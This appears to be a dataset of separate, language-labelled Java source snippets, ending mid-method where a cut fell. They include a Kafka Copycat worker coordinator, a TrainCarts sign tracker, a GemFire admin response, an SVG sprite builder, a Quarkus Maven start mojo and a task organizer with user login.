protected Map<String, ByteBuffer> performAssignment(String leaderId, String protocol, Map<String, ByteBuffer> allMemberMetadata) {
log.debug("Performing task assignment");
Map<String, CopycatProtocol.ConfigState> allConfigs = new HashMap<>();
for (Map.Entry<String, ByteBuffer> entry : allMemberMetadata.entrySet())
allConfigs.put(entry.getKey(), CopycatProtocol.deserializeMetadata(entry.getValue()));
long maxOffset = findMaxMemberConfigOffset(allConfigs);
Long leaderOffset = ensureLeaderConfig(maxOffset);
if (leaderOffset == null)
return fillAssignmentsAndSerialize(allConfigs.keySet(), CopycatProtocol.Assignment.CONFIG_MISMATCH,
leaderId, maxOffset, new HashMap<String, List<String>>(), new HashMap<String, List<ConnectorTaskId>>());
return performTaskAssignment(leaderId, leaderOffset, allConfigs);
}
private long findMaxMemberConfigOffset(Map<String, CopycatProtocol.ConfigState> allConfigs) {
// The new config offset is the maximum seen by any member. We always perform assignment using this offset,
// even if some members have fallen behind. The config offset used to generate the assignment is included in
// the response so members that have fallen behind will not use the assignment until they have caught up.
Long maxOffset = null;
for (Map.Entry<String, CopycatProtocol.ConfigState> stateEntry : allConfigs.entrySet()) {
long memberRootOffset = stateEntry.getValue().offset();
if (maxOffset == null)
maxOffset = memberRootOffset;
else
maxOffset = Math.max(maxOffset, memberRootOffset);
}
log.debug("Max config offset root: {}, local snapshot config offsets root: {}",
maxOffset, configSnapshot.offset());
return maxOffset;
}
private Long ensureLeaderConfig(long maxOffset) {
// If this leader is behind some other members, we can't do assignment
if (configSnapshot.offset() < maxOffset) {
// We might be able to take a new snapshot to catch up immediately and avoid another round of syncing here.
// Alternatively, if this node has already passed the maximum reported by any other member of the group, it
// is also safe to use this newer state.
ClusterConfigState updatedSnapshot = configStorage.snapshot();
if (updatedSnapshot.offset() < maxOffset) {
log.info("Was selected to perform assignments, but do not have latest config found in sync request. " +
"Returning an empty configuration to trigger re-sync.");
return null;
} else {
configSnapshot = updatedSnapshot;
return configSnapshot.offset();
}
}
return maxOffset;
}
private Map<String, ByteBuffer> performTaskAssignment(String leaderId, long maxOffset, Map<String, CopycatProtocol.ConfigState> allConfigs) {
Map<String, List<String>> connectorAssignments = new HashMap<>();
Map<String, List<ConnectorTaskId>> taskAssignments = new HashMap<>();
// Perform round-robin task assignment
CircularIterator<String> memberIt = new CircularIterator<>(sorted(allConfigs.keySet()));
for (String connectorId : sorted(configSnapshot.connectors())) {
String connectorAssignedTo = memberIt.next();
log.trace("Assigning connector {} to {}", connectorId, connectorAssignedTo);
List<String> memberConnectors = connectorAssignments.get(connectorAssignedTo);
if (memberConnectors == null) {
memberConnectors = new ArrayList<>();
connectorAssignments.put(connectorAssignedTo, memberConnectors);
}
memberConnectors.add(connectorId);
for (ConnectorTaskId taskId : sorted(configSnapshot.tasks(connectorId))) {
String taskAssignedTo = memberIt.next();
log.trace("Assigning task {} to {}", taskId, taskAssignedTo);
List<ConnectorTaskId> memberTasks = taskAssignments.get(taskAssignedTo);
if (memberTasks == null) {
memberTasks = new ArrayList<>();
taskAssignments.put(taskAssignedTo, memberTasks);
}
memberTasks.add(taskId);
}
}
return fillAssignmentsAndSerialize(allConfigs.keySet(), CopycatProtocol.Assignment.NO_ERROR,
leaderId, maxOffset, connectorAssignments, taskAssignments);
}
private Map<String, ByteBuffer> fillAssignmentsAndSerialize(Collection<String> members,
short error,
String leaderId,
long maxOffset,
Map<String, List<String>> connectorAssignments,
Map<String, List<ConnectorTaskId>> taskAssignments) {
Map<String, ByteBuffer> groupAssignment = new HashMap<>();
for (String member : members) {
List<String> connectors = connectorAssignments.get(member);
if (connectors == null)
connectors = Collections.emptyList();
List<ConnectorTaskId> tasks = taskAssignments.get(member);
if (tasks == null)
tasks = Collections.emptyList();
CopycatProtocol.Assignment assignment = new CopycatProtocol.Assignment(error, leaderId, maxOffset, connectors, tasks);
log.debug("Assignment: {} -> {}", member, assignment);
groupAssignment.put(member, CopycatProtocol.serializeAssignment(assignment));
}
log.debug("Finished assignment");
return groupAssignment;
}
@Override
protected void onJoinPrepare(int generation, String memberId) {
log.debug("Revoking previous assignment {}", assignmentSnapshot);
if (assignmentSnapshot != null && !assignmentSnapshot.failed())
listener.onRevoked(assignmentSnapshot.leader(), assignmentSnapshot.connectors(), assignmentSnapshot.tasks());
}
@Override
public boolean needRejoin() {
return super.needRejoin() || (assignmentSnapshot == null || assignmentSnapshot.failed()) || rejoinRequested;
}
@Override
public void close() {
}
public String memberId() {
return this.memberId;
}
private class CopycatWorkerCoordinatorMetrics {
public final Metrics metrics;
public final String metricGrpName;
public CopycatWorkerCoordinatorMetrics(Metrics metrics, String metricGrpPrefix, Map<String, String> tags) {
this.metrics = metrics;
this.metricGrpName = metricGrpPrefix + "-coordinator-metrics";
Measurable numConnectors = new Measurable() {
public double measure(MetricConfig config, long now) {
return assignmentSnapshot.connectors().size();
}
};
Measurable numTasks = new Measurable() {
public double measure(MetricConfig config, long now) {
return assignmentSnapshot.tasks().size();
}
};
metrics.addMetric(new MetricName("assigned-connectors",
this.metricGrpName,
"The number of connector instances currently assigned to this consumer",
tags),
numConnectors);
metrics.addMetric(new MetricName("assigned-tasks",
this.metricGrpName,
"The number of tasks currently assigned to this consumer",
tags),
numTasks);
}
}
private static <T extends Comparable<T>> List<T> sorted(Collection<T> members) {
List<T> res = new ArrayList<>(members);
Collections.sort(res);
return res;
}
}
|
Java
|
public final class _isindex extends IntrinsicLambda
{
public static final _isindex INSTANCE = new _isindex();
public static final String NAME = "isindex";
public String getName()
{
return NAME;
}
public final Boolean apply(final Object arg)
{
final Tuple args = (Tuple)arg;
return invoke((Integer)args.get(0), (ListValue)args.get(1));
}
public static boolean invoke(final int index, final ListValue list)
{
return index >= 0 && index < list.size();
}
}
|
Java
|
public abstract class SignTracker {
protected static final Set<TrackedSign> blockBuffer = new HashSet<TrackedSign>();
protected final Map<Block, TrackedSign> activeSigns = new LinkedHashMap<Block, TrackedSign>();
protected ImplicitlySharedList<DetectorRegion> detectorRegions = new ImplicitlySharedList<>();
protected final ToggledState needsUpdate = new ToggledState();
protected final SignSkipTracker signSkipTracker;
protected SignTracker(IPropertiesHolder owner) {
this.signSkipTracker = new SignSkipTracker(owner);
}
public Collection<TrackedSign> getActiveTrackedSigns() {
return Collections.unmodifiableCollection(activeSigns.values());
}
public Collection<Block> getActiveSigns() {
return Collections.unmodifiableSet(activeSigns.keySet());
}
public Collection<DetectorRegion> getActiveDetectorRegions() {
return this.detectorRegions;
}
public boolean containsSign(Block signblock) {
return signblock != null && activeSigns.containsKey(signblock);
}
public boolean hasSigns() {
return !this.activeSigns.isEmpty();
}
/**
* Clears all active signs and other Block info, resulting in leave events being fired
*/
public void clear() {
if (!activeSigns.isEmpty()) {
int maxResetIterCtr = 100; // happens more than this, infinite loop suspected
int expectedCount = activeSigns.size();
Iterator<TrackedSign> iter = activeSigns.values().iterator();
while (iter.hasNext()) {
TrackedSign sign = iter.next();
iter.remove();
expectedCount--;
onSignChange(sign, false);
if (expectedCount != activeSigns.size()) {
expectedCount = activeSigns.size();
iter = activeSigns.values().iterator();
if (--maxResetIterCtr <= 0) {
TrainCarts.plugin.log(Level.WARNING, "Number of iteration reset attempts exceeded limit");
break;
}
}
}
}
}
/**
* Tells all the Minecarts part of this Minecart Member or Group that something changed
*/
public void update() {
needsUpdate.set();
}
/**
* Removes an active sign
*
* @param signBlock to remove
* @return True if the Block was removed, False if not
*/
public boolean removeSign(Block signBlock) {
TrackedSign sign = activeSigns.remove(signBlock);
if (sign != null) {
onSignChange(sign, false);
return true;
} else {
return false;
}
}
/**
* Checks whether the Minecart Member or Group is traveling on top of a given rails block<br>
* <br>
* <b>Deprecated:</b> use {@link MinecartMember#getRailTracker()} or
* {@link MinecartGroup#getRailTracker()} for this instead.
*
* @param railsBlock to check
* @return True if part of the rails, False if not
*/
@Deprecated
public abstract boolean isOnRails(Block railsBlock);
protected abstract void onSignChange(TrackedSign signblock, boolean active);
protected void updateActiveSigns(Supplier<ModificationTrackedList<TrackedSign>> activeSignListSupplier) {
int limit = 1000;
while (!tryUpdateActiveSigns(activeSignListSupplier.get())) {
// Check for infinite loops, just in case, you know?
if (--limit == 0) {
TrainCarts.plugin.getLogger().log(Level.SEVERE, "Reached limit of loops updating active signs");
break;
}
}
}
// Tries to update the active sign list, returns false if the list was modified during it
private boolean tryUpdateActiveSigns(final ModificationTrackedList<TrackedSign> list) {
// Retrieve the list and modification counter
final int mod_start = list.getModCount();
final boolean hadSigns = !activeSigns.isEmpty();
// Perform all operations, for those that could leak into executing code
// that could modify it, track the mod counter. If changed, restart from
// the beginning.
// When there are no signs, only remove previously detected signs
if (list.isEmpty()) {
if (hadSigns) {
Iterator<TrackedSign> iter = activeSigns.values().iterator();
while (iter.hasNext()) {
onSignChange(iter.next(), false);
iter.remove();
// If list changed, restart from the beginning
if (list.getModCount() != mod_start) {
return false;
}
}
}
// All good!
return true;
}
// Go by all detected signs and try to add it to the map
// If this succeeds, fire an 'enter' event
// This enter event might modify the list, if so, restart from the beginning
for (TrackedSign newActiveSign : list) {
if (activeSigns.put(newActiveSign.signBlock, newActiveSign) == null) {
onSignChange(newActiveSign, true);
// If list changed, restart from the beginning
if (list.getModCount() != mod_start) {
return false;
}
}
}
// Check if any previously detected signs are no longer in the active sign list
if (hadSigns) {
// Calculate all the signs that are now missing
blockBuffer.clear();
blockBuffer.addAll(activeSigns.values());
blockBuffer.removeAll(list);
// Remove all the signs that are now inactive
// This leave event might cause the list to change, if so, restart from the beginning
for (TrackedSign old : blockBuffer) {
activeSigns.remove(old.signBlock);
onSignChange(old, false);
// If list changed, restart from the beginning
if (list.getModCount() != mod_start) {
return false;
}
}
}
// Done!
return true;
}
}
|
Java
|
public class RegionSubRegionsSizeResponse extends AdminResponse implements
Cancellable {
public RegionSubRegionsSizeResponse() {
}
public RegionSubRegionSnapshot getSnapshot() {
return this.snapshot;
}
/**
* Returns a <code>RegionSubRegionsSizeResponse</code> that will be returned to the
* specified recipient. The message will contains a copy of the region snapshot
*/
public static RegionSubRegionsSizeResponse create(DistributionManager dm,
InternalDistributedMember recipient) {
RegionSubRegionsSizeResponse m = new RegionSubRegionsSizeResponse();
m.setRecipient(recipient);
m.snapshot = null;
m.cancelled = false;
return m;
}
public void populateSnapshot(DistributionManager dm) {
if (cancelled)
return;
DistributedSystem sys = dm.getSystem();
GemFireCacheImpl cache = (GemFireCacheImpl)CacheFactory.getInstance(sys);
if (cancelled)
return;
RegionSubRegionSnapshot root = new RegionSubRegionSnapshot();
/* This root exists only on admin side as a root of all root-region just to
* create a tree-like structure */
root.setName("Root");
root.setParent(null);
root.setEntryCount(0);
Set rootRegions = cache.rootRegions();
this.snapshot = root;
populateRegionSubRegions(root, rootRegions, cache);
}
/**
* Populates the collection of sub-region snapshots for the parentSnapShot
* with snapshots for the regions given.
*
* @param parentSnapShot
* RegionSubRegionSnapshot of a parent region
* @param regions
* collection of sub-regions of the region represented by
* parentSnapShot
* @param cache
* cache instance is used for to get the LogWriter instance to log
* exceptions if any
*/
//Re-factored to fix #41060
void populateRegionSubRegions(RegionSubRegionSnapshot parentSnapShot,
Set regions, GemFireCacheImpl cache) {
if (cancelled)
return;
Region subRegion = null;
RegionSubRegionSnapshot subRegionSnapShot = null;
for (Iterator iter = regions.iterator(); iter.hasNext();) {
subRegion = (Region)iter.next();
try {
subRegionSnapShot = new RegionSubRegionSnapshot(subRegion);
parentSnapShot.addSubRegion(subRegionSnapShot);
Set subRegions = subRegion.subregions(false);
populateRegionSubRegions(subRegionSnapShot, subRegions, cache);
} catch (Exception e) {
cache.getLoggerI18n().fine(
"Failed to create snapshot for region: " + subRegion.getFullPath()+
". Continuing with next region.",
e);
}
}
}
public synchronized void cancel() {
cancelled = true;
}
@Override
public void toData(DataOutput out) throws IOException {
super.toData(out);
out.writeBoolean(cancelled);
DataSerializer.writeObject(this.snapshot, out);
}
@Override
public void fromData(DataInput in) throws IOException, ClassNotFoundException {
super.fromData(in);
this.cancelled = in.readBoolean();
this.snapshot = (RegionSubRegionSnapshot)DataSerializer.readObject(in);
}
/**
* Returns the DataSerializer fixed id for the class that implements this method.
*/
public int getDSFID() {
return REGION_SUB_SIZE_RESPONSE;
}
@Override
public String toString() {
return "RegionSubRegionsSizeResponse [from=" + this.getRecipient() + " "
+ (snapshot == null ? "null" : snapshot.toString());
}
private RegionSubRegionSnapshot snapshot;
private boolean cancelled;
}
|
Java
|
public class PersistenzException extends PlisTechnicalRuntimeException {
/** Serial version UID. */
private static final long serialVersionUID = 1L;
private static final FehlertextProvider FEHLERTEXT_PROVIDER = new PersistenzFehlertextProvider();
public PersistenzException(String ausnahmeId, String... parameter) {
super(ausnahmeId, FEHLERTEXT_PROVIDER, parameter);
}
public PersistenzException(String ausnahmeId, Throwable cause, String... parameter) {
super(ausnahmeId, cause, FEHLERTEXT_PROVIDER, parameter);
}
}
|
Java
|
public class DataCollector<T> implements Runnable{
private static final String LOG_TAG = "[DataCollector]";
private static final String DATA_STORAGE_SIZE_CHANGED = "Data storage size: %d of %d";
private static final String DATA_STORAGE_CAP_EXCEEDED = "Data storage capacity exceeded";
private BlockingQueue<T> queue;
private List<T> storedData;
private MessageListener<List<T>> onCapacityExceeded;
private MessageListener<Integer> onDataSizeChanged;
private AtomicBoolean running;
private int capacity;
/**
* Instantiates a new Data collector.
*
* @param capacity The maximum capacity. If exceeded, a {@link #onCapacityExceeded} method will
* be invoked
*/
DataCollector(int capacity){
this.queue = new LinkedBlockingQueue<>();
this.storedData = new ArrayList<>();
this.running = new AtomicBoolean(true);
this.capacity = capacity;
}
@Override
public void run() {
while(running.get())
{
try {
storedData.add(queue.take());
if(onDataSizeChanged != null)
onDataSizeChanged.onMessage(storedData.size());
Log.i(LOG_TAG, String.format(DATA_STORAGE_SIZE_CHANGED, storedData.size(), capacity));
if(storedData.size() >= this.capacity)
{
Log.i(LOG_TAG, DATA_STORAGE_CAP_EXCEEDED);
if(onCapacityExceeded != null)
onCapacityExceeded.onMessage(new ArrayList<>(storedData));
storedData.clear();
}
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
/**
* Stops the DataCollector's execution by setting the running variable.
* The next update will not be performed after this operation
*/
void stop(){
running.set(false);
}
/**
* Puts the requested data into the BlockingQueue
*
* @param data the data
*/
void put(T data)
{
try {
queue.put(data);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
/**
* Sets an onCapacityExceeded listener which will be invoked when
* the {@link #storedData} size exceeds the requested one in a constructor's {@link #capacity}
*
* @param onCapacityExceeded the listener callback method
*/
void setOnCapacityExceeded(MessageListener<List<T>> onCapacityExceeded) {
this.onCapacityExceeded = onCapacityExceeded;
}
/**
* Sets on data size changed.
*
* @param onDataSizeChanged the listener callback method
*/
void setOnDataSizeChanged(MessageListener<Integer> onDataSizeChanged) {
this.onDataSizeChanged = onDataSizeChanged;
}
}
|
Java
|
public class SvgSprites extends AssetAggregator {
/** The logging system. */
private final Logger log = LoggerFactory.getLogger(getClass());
@Override
public SvgSprites set(final Config options) {
super.set(options);
return this;
}
@Override
public SvgSprites set(final String name, final Object value) {
super.set(name, value);
return this;
}
@Override
public List<String> fileset() {
return Arrays.asList(cssPath());
}
@Override
public void run(final Config conf) throws Exception {
File spriteElementPath = resolve(get("spriteElementPath").toString());
if (!spriteElementPath.exists()) {
throw new FileNotFoundException(spriteElementPath.toString());
}
File workdir = new File(Try.of(() -> conf.getString("application.tmpdir"))
.getOrElse(System.getProperty("java.io.tmpdir")));
File spritePath = resolve(spritePath());
File cssPath = resolve(cssPath());
String sha1 = new File(spritePath()).getName()
.replace(".svg", "-" + sha1(spriteElementPath, spritePath, cssPath) + ".sha1");
File uptodate = workdir.toPath().resolve("svg-sprites").resolve(sha1).toFile();
if (uptodate.exists()) {
log.info("svg-sprites is up-to-date: {}", uptodate);
return;
}
Nodejs.run(workdir, node -> {
node.overwrite(conf.hasPath("_overwrite") ? conf.getBoolean("_overwrite") : false)
.exec("dr-svg-sprites", v8 -> {
Map<String, Object> options = options();
// rewrite paths
options.put("spritePath", spritePath.toString());
options.put("cssPath", cssPath.toString());
options.put("spriteElementPath", spriteElementPath.toString());
log.debug("svg-sprites options {} ", options.entrySet().stream()
.map(e -> e.getKey() + ": " + e.getValue())
.collect(Collectors.joining("\n ", "{\n ", "\n}")));
v8.add("$options", toV8Object(v8, options));
/**
* Hook sv2png and remove panthomjs dependency.
*/
v8.add("svg2png", new V8Function(v8, (receiver, params) -> {
String svgPath = params.get(0).toString();
String pngPath = params.get(1).toString();
Float w = new Float(params.getDouble(2));
Float h = new Float(params.getDouble(3));
V8Function callback = (V8Function) params.get(4);
Try.run(() -> {
try (FileReader in = new FileReader(svgPath);
OutputStream out = new FileOutputStream(pngPath)) {
PNGTranscoder transcoder = new PNGTranscoder();
transcoder.addTranscodingHint(PNGTranscoder.KEY_WIDTH, w);
transcoder.addTranscodingHint(PNGTranscoder.KEY_HEIGHT, h);
transcoder.transcode(new TranscoderInput(in), new TranscoderOutput(out));
}
})
.onSuccess(v -> callback.call(null, null))
.onFailure(x -> {
log.debug("png-fallback resulted in exception", x);
callback.call(null, toV8Array(v8, Arrays.asList(x.getMessage())));
});
return V8.UNDEFINED;
}));
});
});
log.debug("creating sha1: {}", uptodate);
uptodate.getParentFile().mkdirs();
// clean old/previous *.sha1 files
try (Stream<Path> sha1files = Files.walk(uptodate.getParentFile().toPath())
.filter(it -> it.toString().endsWith(".sha1"))) {
sha1files.forEach(it -> Try.run(() -> Files.delete(it)));
}
Files.createFile(uptodate.toPath());
uptodate.deleteOnExit();
}
private String sha1(final File dir, final File sprite, final File css) throws IOException {
try (Stream<Path> stream = Files.walk(dir.toPath())) {
Hasher sha1 = Hashing.sha1().newHasher();
stream.filter(p -> !Files.isDirectory(p))
.forEach(p -> Try.run(() -> sha1.putBytes(Files.readAllBytes(p))));
if (sprite.exists()) {
sha1.putBytes(Files.readAllBytes(sprite.toPath()));
}
if (css.exists()) {
sha1.putBytes(Files.readAllBytes(css.toPath()));
}
return BaseEncoding.base16().encode(sha1.hash().asBytes()).toLowerCase();
}
}
private File resolve(final String path) {
// basedir is set to public from super class
return new File(get("basedir").toString(), path);
}
public String cssPath() {
try {
return nameFor("cssPath", ".css");
} catch (IllegalArgumentException x) {
return spritePath().replace(".svg", ".css");
}
}
public String spritePath() {
return nameFor("spritePath", ".svg");
}
private String nameFor(final String property, final String ext) {
String spritePath = get(property);
if (spritePath == null) {
throw new IllegalArgumentException(
"Required option 'svg-sprites." + property + "' not present");
}
if (spritePath.endsWith(ext)) {
return spritePath;
} else {
return spritePath + "/" + prefix("prefix") + prefix("name") + "sprite" + ext;
}
}
private String prefix(final String name) {
return Optional.ofNullable(get(name))
.map(it -> it + "-")
.orElse("");
}
}
|
Java
|
@Mojo(name = "start", requiresDependencyResolution = ResolutionScope.NONE, threadSafe = true)
public class QuarkusAppStartMojo extends AbstractQuarkusAppMojo {
/*
* Execution lock across multiple executions of quarkus app.
*
* Quarkus application might modify system properties to reflect dynamic
* configuration values. However it is not possible for each execution to have
* its own properties.
* Lock is designed to make sure only one application is started and system properties
* retrieved, while still allowing multiple applications to run concurrently.
*
* TODO: the lock is not truly global since plugins are maintained in separate classloaders.
* It should be changed to something attached to the Maven session instead.
*/
private static final Object START_LOCK = new Object();
/**
* The entry point to Aether, i.e. the component doing all the work.
*
* @component
*/
@Component private RepositorySystem repoSystem;
@Component private ToolchainManager toolchainManager;
/** The current repository/network configuration of Maven. */
@Parameter(defaultValue = "${repositorySystemSession}", readonly = true)
private RepositorySystemSession repoSession;
/**
* The project's remote repositories to use for the resolution of plugins and their dependencies.
*/
@Parameter(defaultValue = "${project.remotePluginRepositories}", readonly = true)
private List<RemoteRepository> remoteRepos;
/** The plugin descriptor. */
@Parameter(defaultValue = "${plugin}", readonly = true)
private PluginDescriptor pluginDescriptor;
/**
* The application artifact id.
*
* <p>Needs to be present as a plugin dependency, if {@link #executableJar} is not set.
*
* <p>Mutually exclusive with {@link #executableJar}
*
* <p>Supported format is groupId:artifactId[:type[:classifier]]:version
*/
@Parameter(property = "nessie.apprunner.appArtifactId")
private String appArtifactId;
/** Environment variable configuration properties. */
@Parameter private Properties systemProperties = new Properties();
/**
* Properties to get from Quarkus running application.
*
* <p>The property key is the name of the build property to set, the value is the name of the
* quarkus configuration key to get.
*/
@Parameter private Properties environment;
@Parameter private List<String> arguments;
@Parameter private List<String> jvmArguments;
@Parameter(defaultValue = "11")
private int javaVersion;
/**
* The path to the executable jar to run.
*
* <p>If in doubt and not using the plugin inside the Nessie source tree, use {@link
* #appArtifactId}.
*
* <p>Mutually exclusive with {@link #appArtifactId}
*/
@Parameter private String executableJar;
@Parameter(defaultValue = "quarkus.http.test-port")
private String httpListenPortProperty;
@Parameter(defaultValue = "quarkus.http.test-url")
private String httpListenUrlProperty;
@Parameter(defaultValue = "${project.build.directory}/nessie-quarkus")
private String workingDirectory;
@Parameter private long timeToListenUrlMillis;
@Parameter private long timeToStopMillis;
static String noJavaVMMessage(int version) {
return String.format(
"Could not find a Java-VM for Java version %d. "
+ "Either configure a type=jdk in Maven's toolchain with version=%d or "
+ "set the Java-Home for a compatible JVM using the environment variable JDK%d_HOME or "
+ "JAVA%d_HOME.",
version, version, version, version);
}
@Override
public void execute() throws MojoExecutionException, MojoFailureException {
if (isSkipped()) {
getLog().debug("Execution is skipped");
return;
}
getLog().debug(String.format("Searching for Java %d ...", javaVersion));
String javaExecutable =
toolchainManager
.getToolchains(
getSession(),
"jdk",
Collections.singletonMap("version", Integer.toString(javaVersion)))
.stream()
.map(tc -> tc.findTool("java"))
.findFirst()
.orElseGet(
() -> {
getLog()
.debug(
String.format(
"... using JavaVM as Maven toolkit returned no toolchain "
+ "for type==jdk and version==%d",
javaVersion));
JavaVM javaVM = JavaVM.findJavaVM(javaVersion);
return javaVM != null ? javaVM.getJavaExecutable().toString() : null;
});
if (javaExecutable == null) {
throw new MojoExecutionException(noJavaVMMessage(javaVersion));
}
getLog().debug(String.format("Using javaExecutable %s", javaExecutable));
Path workDir = Paths.get(workingDirectory);
if (!Files.isDirectory(workDir)) {
try {
Files.createDirectories(workDir);
} catch (IOException e) {
throw new MojoExecutionException(
String.format("Failed to create working directory %s", workingDirectory), e);
}
}
String execJar = executableJar;
if (execJar == null && appArtifactId == null) {
if (getProject().getGroupId().equals("org.projectnessie")) {
getLog().debug("Nessie source-tree build.");
// Special case handling for Nessie source-tree builds.
// Find the root-project (org.projectnessie:nessie) from the current project and resolve the
// 'quarkus-run.jar' from there.
// Unfortunately, it's not possible to declare a Maven project property to ease this/make it
// clearer, because project property
// evaluation, even for parent-poms, happens in the context of the currently executed
// project.
//
// To use this Maven plugin within the Nessie source tree do specify neither appArtifactId
// nor executableJar.
// Using this Maven plugin outside the Nessie source tree requires using either
// appArtifactId (preferred) or executableJar.
for (MavenProject p = getProject().getParent();
p.getGroupId().equals("org.projectnessie");
p = p.getParent()) {
if (p.getArtifactId().equals("nessie")) {
getLog().info("Using quarkus-run.jar from org.projectnessie source tree build");
execJar =
p.getBasedir()
.toPath()
.resolve(
Paths.get(
"servers",
"quarkus-server",
"target",
"quarkus-app",
"quarkus-run.jar"))
.toString();
break;
}
}
}
if (execJar == null) {
throw new MojoExecutionException(
"Either appArtifactId or executableJar config option must be specified, prefer appArtifactId");
}
}
if (execJar == null) {
Artifact artifact = new DefaultArtifact(appArtifactId);
ArtifactRequest artifactRequest = new ArtifactRequest(artifact, remoteRepos, null);
try {
ArtifactResult result = repoSystem.resolveArtifact(repoSession, artifactRequest);
execJar = result.getArtifact().getFile().toString();
} catch (ArtifactResolutionException e) {
throw new MojoExecutionException(
String.format("Failed to resolve artifact %s", appArtifactId), e);
}
} else if (appArtifactId != null) {
throw new MojoExecutionException(
"The options appArtifactId and executableJar are mutually exclusive");
}
List<String> command = new ArrayList<>();
command.add(javaExecutable);
if (jvmArguments != null) {
command.addAll(jvmArguments);
}
if (systemProperties != null) {
systemProperties.forEach(
(k, v) -> command.add(String.format("-D%s=%s", k.toString(), v.toString())));
}
command.add("-Dquarkus.http.port=0");
command.add("-jar");
command.add(execJar);
if (arguments != null) {
command.addAll(arguments);
}
getLog()
.info(
String.format(
"Starting process: %s, additional env: %s",
String.join(" ", command),
environment != null
? environment.entrySet().stream()
.map(e -> String.format("%s=%s", e.getKey(), e.getValue()))
.collect(Collectors.joining(", "))
: "<none>"));
ProcessBuilder processBuilder = new ProcessBuilder().command(command);
if (environment != null) {
environment.forEach((k, v) -> processBuilder.environment().put(k.toString(), v.toString()));
}
processBuilder.directory(workDir.toFile());
try {
ProcessHandler processHandler = new ProcessHandler();
if (timeToListenUrlMillis > 0L) {
processHandler.setTimeToListenUrlMillis(timeToListenUrlMillis);
}
if (timeToStopMillis > 0L) {
processHandler.setTimeStopMillis(timeToStopMillis);
}
processHandler.setStdoutTarget(line -> getLog().info(String.format("[stdout] %s", line)));
processHandler.setStdoutTarget(line -> getLog().info(String.format("[stderr] %s", line)));
processHandler.start(processBuilder);
setApplicationHandle(processHandler);
String listenUrl = processHandler.getListenUrl();
Properties projectProperties = getProject().getProperties();
projectProperties.setProperty(httpListenUrlProperty, listenUrl);
projectProperties.setProperty(
httpListenPortProperty, Integer.toString(URI.create(listenUrl).getPort()));
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new MojoExecutionException(String.format("Process-start interrupted: %s", command), e);
} catch (Exception e) {
throw new MojoExecutionException(String.format("Failed to start the process %s", command), e);
}
}
}
|
Java
|
public class Organizer implements ReadOnlyOrganizer {
private final UniqueTaskList tasks;
private final UniqueTagList tags;
private final UniqueUserList users;
/*
* The 'unusual' code block below is an non-static initialization block, sometimes used to avoid duplication
* between constructors. See https://docs.oracle.com/javase/tutorial/java/javaOO/initial.html
*
* Note that non-static init blocks are not recommended to use. There are other ways to avoid duplication
* among constructors.
*/
{
tasks = new UniqueTaskList();
tags = new UniqueTagList();
users = new UniqueUserList();
}
public Organizer() {}
/**
* Creates an Organizer using the Tasks and Tags in the {@code toBeCopied}
*/
public Organizer(ReadOnlyOrganizer toBeCopied) {
this();
requireNonNull(toBeCopied);
resetData(toBeCopied);
}
//// list overwrite operations
public void setTasks(List<Task> tasks) throws DuplicateTaskException {
requireNonNull(tasks);
this.tasks.setTasks(tasks);
}
public void setTags(Set<Tag> tags) {
requireNonNull(tags);
this.tags.setTags(tags);
}
//@@author dominickenn
public void setUsers(List<User> users) {
requireNonNull(users);
this.users.setUsers(users);
}
//@@author
/**
* Resets the existing data of this {@code Organizer} with {@code newData}.
*/
public void resetData(ReadOnlyOrganizer newData) {
requireNonNull(newData);
setTags(new HashSet<>(newData.getTagList()));
setUsers(newData.getUserList());
List<Task> syncedTaskList = newData.getTaskList().stream()
.map(this::syncWithMasterTagList)
.collect(Collectors.toList());
try {
setTasks(syncedTaskList);
} catch (DuplicateTaskException e) {
throw new AssertionError("PrioriTask should not have duplicate tasks");
}
}
//@@author dominickenn
//// user-level operations
/**
* Adds {@code user} to the organizer
*/
public void addUser(User user) throws DuplicateUserException {
requireNonNull(user);
users.add(user);
}
/**
* Sets {@code user} as the currentLoggedInUser of the organizer
*/
public void loginUser(User user)
throws UserNotFoundException,
UserPasswordWrongException,
CurrentlyLoggedInException {
requireNonNull(user);
users.setCurrentLoggedInUser(user);
}
/**
* Replaces {@code toRemove} with {@code toAdd} in users
*/
public void updateUserToUserWithQuestionAnswer(
User toRemove, UserWithQuestionAnswer toAdd) {
requireAllNonNull(toRemove, toAdd);
try {
users.updateUserToUserWithQuestionAnswer(toRemove, toAdd);
} catch (UserNotFoundException e) {
throw new AssertionError("User does not exist");
}
}
public void logout() {
users.setCurrentLoggedInUserToNull();
}
@Override
public User getCurrentLoggedInUser() {
return users.getCurrentLoggedInUser();
}
/**
* Deletes all tasks by {@code user} from tasks
*/
public void deleteUserTasks(User user) {
requireNonNull(user);
tasks.deleteUserTasks(user);
}
/**
* Returns a user in users containing the {@code username}
* There can only be one such user
*/
public User getUserbyUsername(String username) throws UserNotFoundException {
requireNonNull(username);
return users.getUserByUsername(username);
}
//@@author
//// task-level operations
/**
* Adds a task to the organizer.
* Also checks the new task's tags and updates {@link #tags} with any new tags found,
* and updates the Tag objects in the task to point to those in {@link #tags}.
*
* @throws DuplicateTaskException if an equivalent task already exists.
*/
public void addTask(Task p) throws DuplicateTaskException {
Task task = syncWithMasterTagList(p);
// TODO: the tags master list will be updated even though the below line fails.
// This can cause the tags master list to have additional tags that are not tagged to any task
// in the task list.
tasks.add(task);
}
/**
* Replaces the given task {@code target} in the list with {@code editedTask}.
* {@code Organizer}'s tag list will be updated with the tags of {@code editedTask}.
*
* @throws DuplicateTaskException if updating the task's details causes the task to be equivalent to
* another existing task in the list.
* @throws TaskNotFoundException if {@code target} could not be found in the list.
* @see #syncWithMasterTagList(Task)
*/
public void updateTask(Task target, Task editedTask)
throws DuplicateTaskException, TaskNotFoundException {
requireNonNull(editedTask);
Task syncedEditedTask = syncWithMasterTagList(editedTask);
// TODO: the tags master list will be updated even though the below line fails.
// This can cause the tags master list to have additional tags that are not tagged to any task
// in the task list.
tasks.setTask(target, syncedEditedTask);
removeUnusedTags();
}
/**
* Updates the master tag list to include tags in {@code task} that are not in the list.
*
* @return a copy of this {@code task} such that every tag in this task points to a Tag object in the master
* list.
*/
private Task syncWithMasterTagList(Task task) {
final UniqueTagList taskTags = new UniqueTagList(task.getTags());
tags.mergeFrom(taskTags);
// Create map with values = tag object references in the master list
// used for checking task tag references
final Map<Tag, Tag> masterTagObjects = new HashMap<>();
tags.forEach(tag -> masterTagObjects.put(tag, tag));
// Rebuild the list of task tags to point to the relevant tags in the master tag list.
final Set<Tag> correctTagReferences = new HashSet<>();
